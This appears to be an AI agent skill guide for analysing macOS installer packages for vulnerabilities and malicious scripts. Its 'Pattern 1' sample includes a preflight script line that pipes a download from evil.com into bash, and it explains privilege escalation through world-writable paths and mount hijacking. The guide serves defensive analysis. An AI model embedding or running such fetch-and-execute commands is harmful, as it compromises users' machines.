macOS Installer Package Analysis

A skill for analyzing macOS installer packages to identify security vulnerabilities, privilege escalation vectors, and potential malicious content.

When to Use This Skill

Use this skill when you need to:

• Inspect the contents of

  .pkg

  or

  .dmg

  installer files
• Extract and analyze pre/post-installation scripts
• Identify privilege escalation opportunities in installer configurations
• Understand macOS installer package structure for security research
• Detect malicious patterns in installer packages
• Analyze installer scripts for command injection or unauthorized execution

Package Structure Overview

PKG File Hierarchy

A

.pkg

file contains:

Component	Format	Purpose
Distribution	XML	Customizations, script/installation checks, JavaScript execution
PackageInfo	XML	Install requirements, locations, script paths
Bill of Materials (BOM)	Binary	File list with permissions, updates, removals
Payload	CPIO + gzip	Files to install at target location
Scripts	CPIO + gzip	Pre/post install scripts and resources

DMG File Structure

DMG files are mountable disk images containing:

• Top Level: Root of disk image
• Application (.app): The actual application bundle
• Applications Link: Shortcut to

  /Applications

  folder for drag-to-install

Analysis Workflow

Step 1: Extract Package Contents

Use the

extract_pkg.sh

script to decompress a

.pkg

file:

./scripts/extract_pkg.sh /path/to/package.pkg /path/to/output/dir

This will extract:

• Distribution

  - XML with installer configuration and JavaScript

• PackageInfo

  - XML with install metadata

• Payload

  - Compressed file archive

• Scripts

  - Pre/post install scripts

Step 2: Analyze Distribution XML

The Distribution file is critical for security analysis:

cat Distribution | grep -A 20 "<script>"

Look for:

• JavaScript execution via

  <script>

  tags

• system.run()

  calls that execute arbitrary commands

• installationCheck()

  functions that may bypass sandbox detection

• preflight()

  and

  postflight()

  functions for command execution

Step 3: Extract and Review Scripts

Extract scripts from the Scripts archive:

cat Scripts | gzip -dc | cpio -i

Then analyze:

• preinstall

  - Runs before installation

• postinstall

  - Runs after installation

• preupgrade

  /

  postupgrade

  - Run during upgrades

• precheck

  - Runs before installation checks

Step 4: Identify Privilege Escalation Vectors

Vector 1: Public Directory Execution

Check if scripts execute from world-writable locations:

grep -r "/var/tmp/" "/tmp/" "/Users/Shared/" Scripts/

If scripts run from these locations, an attacker could replace them.

Vector 2: AuthorizationExecuteWithPrivileges

This function executes files as root. Check if the installer calls it with modifiable paths:

grep -r "AuthorizationExecuteWithPrivileges" .

If found, verify the target file path is not writable by non-root users.

Vector 3: Mount Point Hijacking

Check if installer writes to

/tmp/fixedname/

patterns:

grep -r "/tmp/" PackageInfo Distribution

An attacker could mount over these paths to inject malicious files.

Vector 4: Empty Payload with Scripts

Check if the package has no payload but contains scripts:

ls -la Payload
# If empty or very small, but Scripts exist, this is suspicious

Common Vulnerability Patterns

Pattern 1: JavaScript in Distribution

<script>
<![CDATA[
function preflight() {
    system.run("/bin/bash -c 'curl http://evil.com/payload | bash'");
}
]]>
</script>

Risk: Arbitrary command execution during installation

Pattern 2: Unrestricted Script Paths

<installer-gui-script>
  <options require-scripts="false"/>
</installer-gui-script>

Risk: Scripts may execute without proper validation

Pattern 3: World-Writable Script Locations

#!/bin/bash
# preinstall script
/var/tmp/Installerutil/some_script.sh

Risk: Attacker can replace script before execution

Pattern 4: Root Execution Without Validation

AuthorizationExecuteWithPrivileges("/path/to/script", NULL, TRUE, NULL)

Risk: If

/path/to/script

is writable, privilege escalation

Security Research Use Cases

Use Case 1: Analyzing Suspicious Installers

When you receive a suspicious

.pkg

file:

1. Extract with

   extract_pkg.sh

2. Review Distribution for JavaScript
3. Check all scripts for suspicious commands
4. Verify file permissions in BOM
5. Look for network connections in scripts

Use Case 2: Testing Installer Hardening

To verify your installer is secure:

1. Extract and review all scripts
2. Ensure no world-writable paths
3. Verify no JavaScript in Distribution
4. Check AuthorizationExecuteWithPrivileges usage
5. Validate all file permissions

Use Case 3: CTF/Security Research

For authorized security research:

1. Use

   analyze_pkg.sh

   for quick vulnerability scan
2. Review extracted scripts for privilege escalation
3. Check for CVE-2021-26089 patterns (mount hijacking)
4. Look for DEF CON 27 "Unpacking Pkgs" techniques

Scripts Reference

extract_pkg.sh

Extracts a

.pkg

file to a specified directory:

./scripts/extract_pkg.sh /path/to/package.pkg /output/dir

analyze_pkg.sh

Performs automated security analysis on extracted package:

./scripts/analyze_pkg.sh /path/to/extracted/dir

Checks for:

• JavaScript in Distribution
• World-writable script paths
• AuthorizationExecuteWithPrivileges usage
• Empty payload with scripts
• Suspicious commands in scripts

Output Format

When analyzing a package, provide:

## Package Analysis Report

### Basic Information
- Package: [name]
- Size: [size]
- Identifier: [bundle ID]

### Distribution Analysis
- JavaScript present: [yes/no]
- Script functions: [list]
- system.run() calls: [count]

### Script Analysis
- Pre-install scripts: [count]
- Post-install scripts: [count]
- Suspicious commands: [list]

### Privilege Escalation Vectors
- Public directory execution: [yes/no]
- AuthorizationExecuteWithPrivileges: [yes/no]
- Mount hijacking risk: [yes/no]

### Recommendations
- [list of security improvements]

Important Notes

• Authorization Required: Only analyze packages you own or have explicit permission to test
• Legal Compliance: This skill is for authorized security research, penetration testing, and CTF competitions
• System Safety: Extract packages to isolated directories; do not execute unknown scripts
• Documentation: Reference DEF CON 27 talks and CVE-2021-26089 for deeper understanding

References

• DEF CON 27 - Unpacking Pkgs
• OBTS v4.0 - The Wild World of macOS Installers
• CVE-2021-26089 - Mount Hijacking
• Red Team Recipe - macOS Red Teaming
• Suspicious Package Tool